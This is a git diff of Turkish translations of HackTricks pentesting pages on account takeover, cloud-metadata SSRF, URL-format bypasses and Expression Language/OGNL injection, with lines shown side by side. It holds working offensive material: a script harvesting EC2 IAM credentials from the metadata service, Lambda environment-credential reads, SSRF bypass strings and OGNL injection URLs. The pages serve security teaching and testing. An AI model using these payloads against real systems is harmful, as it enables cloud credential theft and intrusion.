1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "` 1. Sistemde, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluklar ekleyin. örneğin: `"admin "`
2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin. 2. Kötü niyetli kullanıcı adınızla bir şifre sıfırlama talep edin.
3. E-postanıza gönderilen jetonu kullanarak kurbanın şifresini sıfırlayın. 3. E-postanıza gönderilen token'ı kullanarak kurbanın şifresini sıfırlayın.
4. Yeni şifreyle kurbanın hesabına bağlanın. 4. Yeni şifreyle kurbanın hesabına bağlanın.
CTFd platformu bu saldırıya karşı savunmasızdı.\ CTFd platformu bu saldırıya karşı savunmasızdı.\
@ -202,17 +189,6 @@ JSON Web Token, bir kullanıcıyı kimlik doğrulamak için kullanılabilir.
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover) * [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit eden** **malware'ler** tarafından **kompromize** olup olmadığını kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan malware'lerden kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -223,8 +199,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -9,35 +9,27 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## AWS ## AWS
### AWS EC2 ortamında SSRF'yi kötüye kullanma ### AWS EC2 ortamında SSRF'yi kötüye kullanma
**Metadata** uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'de erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). **Metadata** uç noktası, herhangi bir EC2 makinesinin içinden erişilebilir ve ilginç bilgiler sunar. URL'den erişilebilir: `http://169.254.169.254` ([metadata hakkında bilgi burada](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, **GET** istekleri aracılığıyla **uç noktaya erişim** sağlar (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**). **Metadata** uç noktasının **2 versiyonu** vardır. **İlk** versiyon, uç noktaya **GET** istekleri ile **erişime** izin verir (bu nedenle herhangi bir **SSRF bunu kötüye kullanabilir**). **Versiyon 2** için, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), bir **token** istemek için **PUT** isteği göndermeniz ve ardından bu token'ı başka bir HTTP başlığı ile metadata'ya erişmek için kullanmanız gerekir (bu nedenle **kötüye kullanmak daha karmaşıktır**).
{% hint style="danger" %} {% hint style="danger" %}
EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir. EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 metadata'sına erişimi imkansız hale getirir.
Ayrıca, **IMDSv2** ayrıca **`X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişimini önlemek içindir. Ayrıca, **IMDSv2** ayrıca **`X-Forwarded-For` başlığını içeren bir token almak için yapılan istekleri de engelleyecektir**. Bu, yanlış yapılandırılmış ters proxy'lerin buna erişmesini önlemek içindir.
{% endhint %} {% endhint %}
[Metadata uç noktaları hakkında bilgi bulabilirsiniz](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Aşağıdaki scriptte bazı ilginç bilgiler elde edilmektedir: [Metadata uç noktaları hakkında bilgi bulabilirsiniz](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Aşağıdaki scriptte, buradan bazı ilginç bilgiler elde edilmektedir:
```bash ```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -97,9 +89,9 @@ echo ""
echo "EC2 Security Credentials" echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
``` ```
Bir **kamuya açık IAM kimlik bilgileri** örneğini ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Bir **genel olarak erişilebilir IAM kimlik bilgileri** örneğini ziyaret edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Ayrıca kamuya açık **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Ayrıca genel **EC2 güvenlik kimlik bilgilerini** kontrol edebilirsiniz: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Daha sonra **bu kimlik bilgilerini alıp AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır. Daha sonra **bu kimlik bilgilerini alıp AWS CLI ile kullanabilirsiniz**. Bu, **o rolün izin verdiği her şeyi** yapmanıza olanak tanır.
@ -130,7 +122,7 @@ Not edin ki **bazı durumlarda** **EC2 metadata instance**'ına konteynerden eri
### AWS Lambda için SSRF <a href="#id-6f97" id="id-6f97"></a> ### AWS Lambda için SSRF <a href="#id-6f97" id="id-6f97"></a>
Bu durumda **kimlik bilgileri env değişkenlerinde** saklanmaktadır. Bu nedenle, onlara erişmek için **`file:///proc/self/environ`** gibi bir şeye erişmeniz gerekir. Bu durumda **kimlik bilgileri env değişkenlerinde saklanmaktadır**. Bu nedenle, onlara erişmek için **`file:///proc/self/environ`** gibi bir şeye erişmeniz gerekir.
**İlginç env değişkenlerinin** **isimleri** şunlardır: **İlginç env değişkenlerinin** **isimleri** şunlardır:
@ -138,7 +130,7 @@ Bu durumda **kimlik bilgileri env değişkenlerinde** saklanmaktadır. Bu nedenl
* `AWS_SECRET_ACCESS_KEY` * `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID` * `AWS_ACCES_KEY_ID`
Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları **başlatıldığında fonksiyona iletilen olay verilerine** de sahiptir. Bu veriler, [runtime arayüzü](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) aracılığıyla fonksiyona sunulur ve **hassas** **bilgiler** içerebilir (örneğin **stageVariables** içinde). IAM kimlik bilgilerinin aksine, bu verilere standart SSRF üzerinden **`http://localhost:9001/2018-06-01/runtime/invocation/next`** adresinden erişilebilir. Ayrıca, IAM kimlik bilgilerine ek olarak, Lambda fonksiyonları **başlatıldığında fonksiyona iletilen olay verilerine** de sahiptir. Bu veriler, [runtime arayüzü](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) aracılığıyla fonksiyona sunulur ve **hassas** **bilgiler** içerebilir (örneğin **stageVariables** içinde). IAM kimlik bilgileri ile karşılaştırıldığında, bu verilere standart SSRF üzerinden **`http://localhost:9001/2018-06-01/runtime/invocation/next`** adresinden erişilebilir.
{% hint style="warning" %} {% hint style="warning" %}
Not edin ki **lambda kimlik bilgileri** **env değişkenlerinin** içindedir. Bu nedenle, eğer **stack trace** lambda kodunun env değişkenlerini yazdırıyorsa, uygulamada bir hata provoke ederek **sızdırılması** mümkündür. Not edin ki **lambda kimlik bilgileri** **env değişkenlerinin** içindedir. Bu nedenle, eğer **stack trace** lambda kodunun env değişkenlerini yazdırıyorsa, uygulamada bir hata provoke ederek **sızdırılması** mümkündür.
@ -256,7 +248,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
``` ```
{% hint style="danger" %} {% hint style="danger" %}
**Sızdırılan hizmet hesabı jetonunu** kullanmak için şunu yapabilirsiniz: **Sızdırılan hizmet hesabı jetonunu** kullanmak için şunları yapabilirsiniz:
```bash ```bash
# Via env vars # Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -514,19 +506,19 @@ Packetcloud'un metadata'sına erişim için belgeler şurada bulunabilir: [https
## OpenStack/RackSpace ## OpenStack/RackSpace
Bir başlık gerekliliği burada belirtilmemiştir. Metadata şu şekilde erişilebilir: Bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu şekilde erişilebilir:
* `http://169.254.169.254/openstack` * `http://169.254.169.254/openstack`
## HP Helion ## HP Helion
Burada da bir başlık gerekliliği belirtilmemiştir. Metadata şu adresten erişilebilir: Burada da bir başlık gerekliliğinden bahsedilmemektedir. Metadata şu adresten erişilebilir:
* `http://169.254.169.254/2009-04-04/meta-data/` * `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud ## Oracle Cloud
Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sağlar: Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sunmaktadır:
* `http://192.0.0.192/latest/` * `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/` * `http://192.0.0.192/latest/user-data/`
@ -535,7 +527,7 @@ Oracle Cloud, çeşitli metadata yönlerine erişim için bir dizi uç nokta sa
## Alibaba ## Alibaba
Alibaba, örnek ve görüntü kimliklerine erişim için uç noktalar sunar: Alibaba, örnek ve görüntü kimliklerine erişim için uç noktalar sunmaktadır:
* `http://100.100.100.200/latest/meta-data/` * `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id` * `http://100.100.100.200/latest/meta-data/instance-id`
@ -564,15 +556,9 @@ Rancher'ın metadata'sına erişim şu şekilde yapılabilir:
* `curl http://rancher-metadata/<version>/<path>` * `curl http://rancher-metadata/<version>/<path>`
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>

View file

@ -1,8 +1,8 @@
# URL Format Bypass # URL Format Bypass
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,14 +15,6 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Localhost ### Localhost
```bash ```bash
# Localhost # Localhost
@ -94,7 +86,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
``` ```
![](<../../.gitbook/assets/image (776).png>) ![](<../../.gitbook/assets/image (776).png>)
**Burp uzantısı** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP formatlama atlatmalarını uygular. **Burp eklentisi** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP formatlama atlatmalarını uygular.
### Alan Adı Ayrıştırıcı ### Alan Adı Ayrıştırıcı
```bash ```bash
@ -162,7 +154,7 @@ next={domain}&next=attacker.com
``` ```
### Paths and Extensions Bypass ### Paths and Extensions Bypass
Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki bypass'lardan birini deneyebilirsiniz: Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa veya bir yol içermesi gerekiyorsa, aşağıdaki atlatmalardan birini deneyebilirsiniz:
``` ```
https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension https://metadata/vulerable/path#.extension
@ -216,11 +208,6 @@ resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confu
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -9,40 +9,26 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Temel Bilgiler ## Temel Bilgiler
Expression Language (EL), JavaEE'de sunum katmanı (örneğin, web sayfaları) ile uygulama mantığı (örneğin, yönetilen bean'ler) arasında köprü kurmak için önemlidir ve etkileşimlerini sağlar. Aşağıdaki alanlarda yaygın olarak kullanılır: Expression Language (EL), JavaEE'de sunum katmanı (örneğin, web sayfaları) ile uygulama mantığı (örneğin, yönetilen bean'ler) arasında köprü kurmak için önemlidir ve etkileşimlerini sağlar. Aşağıdaki alanlarda yaygın olarak kullanılır:
* **JavaServer Faces (JSF)**: UI bileşenlerini arka uç verileri/eylemleri ile bağlamak için. * **JavaServer Faces (JSF)**: UI bileşenlerini arka uç veri/işlemlerine bağlamak için.
* **JavaServer Pages (JSP)**: JSP sayfaları içinde veri erişimi ve manipülasyonu için. * **JavaServer Pages (JSP)**: JSP sayfaları içinde veri erişimi ve manipülasyonu için.
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: Web katmanının yönetilen bean'lerle etkileşimini kolaylaştırmak için. * **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: Yönetilen bean'lerle web katmanı etkileşimini kolaylaştırmak için.
**Kullanım Bağlamları**: **Kullanım Bağlamları**:
* **Spring Framework**: Güvenlik ve Veri gibi çeşitli modüllerde uygulanır. * **Spring Framework**: Güvenlik ve Veri gibi çeşitli modüllerde uygulanır.
* **Genel Kullanım**: JVM tabanlı dillerde (Java, Kotlin ve Scala gibi) geliştiriciler tarafından SpEL API aracılığıyla. * **Genel Kullanım**: Java, Kotlin ve Scala gibi JVM tabanlı dillerde geliştiriciler tarafından SpEL API aracılığıyla.
EL, JavaEE teknolojilerinde, bağımsız ortamlarda mevcuttur ve `.jsp` veya `.jsf` dosya uzantıları, yığın hataları ve başlıklardaki "Servlet" gibi terimlerle tanınabilir. Ancak, bazı özellikleri ve belirli karakterlerin kullanımı sürüm bağımlı olabilir. EL, JavaEE teknolojilerinde, bağımsız ortamlarda mevcuttur ve `.jsp` veya `.jsf` dosya uzantıları, yığın hataları ve başlıklardaki "Servlet" gibi terimlerle tanınabilir. Ancak, özellikleri ve belirli karakterlerin kullanımı sürüm bağımlı olabilir.
{% hint style="info" %} {% hint style="info" %}
**EL sürümüne** bağlı olarak bazı **özellikler** **Açık** veya **Kapalı** olabilir ve genellikle bazı **karakterler** **yasaklanmış** olabilir. **EL sürümüne** bağlı olarak bazı **özellikler** **Açık** veya **Kapalı** olabilir ve genellikle bazı **karakterler** **yasaklanmış** olabilir.
@ -50,9 +36,9 @@ EL, JavaEE teknolojilerinde, bağımsız ortamlarda mevcuttur ve `.jsp` veya `.j
## Temel Örnek ## Temel Örnek
(EL hakkında başka ilginç bir eğitimi [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) adresinde bulabilirsiniz.) (EL hakkında başka ilginç bir öğretici bulabilirsiniz [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
[**Maven**](https://mvnrepository.com) deposundan aşağıdaki jar dosyalarını indirin: Aşağıdaki jar dosyalarını [**Maven**](https://mvnrepository.com) deposundan indirin:
* `commons-lang3-3.9.jar` * `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar` * `spring-core-5.2.1.RELEASE.jar`
@ -80,7 +66,7 @@ System.out.println(result);
} }
} }
``` ```
Sonra kodu derleyin (eğer `javac` yüklü değilse, `sudo apt install default-jdk` komutunu yükleyin): Sonra kodu derleyin (eğer `javac` yüklü değilse, `sudo apt install default-jdk` komutunu kullanarak yükleyin):
```java ```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
``` ```
@ -97,7 +83,7 @@ Not edin ki önceki örnekte `{5*5}` terimi **değerlendirildi**.
Bunu **bu yazıda** kontrol edin: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) Bunu **bu yazıda** kontrol edin: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloadlar ## Yükler
### Temel eylemler ### Temel eylemler
```bash ```bash
@ -140,7 +126,7 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og
#Blind detection vector (sleep during 10 seconds) #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
``` ```
### Uzak Dosya Dahil Etme ### Uzaktan Dosya Dahil Etme
```bash ```bash
